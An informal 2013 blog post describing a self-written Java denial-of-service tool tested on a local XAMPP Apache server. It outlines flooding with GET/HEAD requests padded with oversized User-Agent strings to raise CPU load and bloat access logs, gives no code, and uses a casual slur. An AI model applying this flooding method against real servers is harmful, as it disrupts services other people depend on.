DDOS-AGENT JAVA

Posted by Security is just an illusion at Monday, February 25, 2013 Read our previous post

Hi All Today i Tested some DDoS ATTacKs on my Xampp Sever,after a while i found some java sample source for DDoS.

I found some GET / HTTP/1.1 tcp syn attack but i think its gay.With the GET / HTTP/1.1 apache.exe got 4 % Cpu Load.If you connect too much your connect will be killed.

 

After a while i got a idee why not flood the Server with GET HEAD+Set User Agent.After 10 Mins Coding DDoS-Agent is Born.

 

Here Some Proofs :

Tested it on a Friends Cpu my Cpu are tooo Slow for it AMD X2 2600 ghz 2gb Ram ………

FriendSystem : AMD X6 3500ghz

FriendRam :16gb

6 x Times Started a DDoS Attack on the Xampp Server with default conf.

 

ApacheHttpServer.exe goes to 60-80 %.With a bigger UserAgent Buffer you can make up to 15mb/s write speed on acess.log.I used a small one just 1mbs.
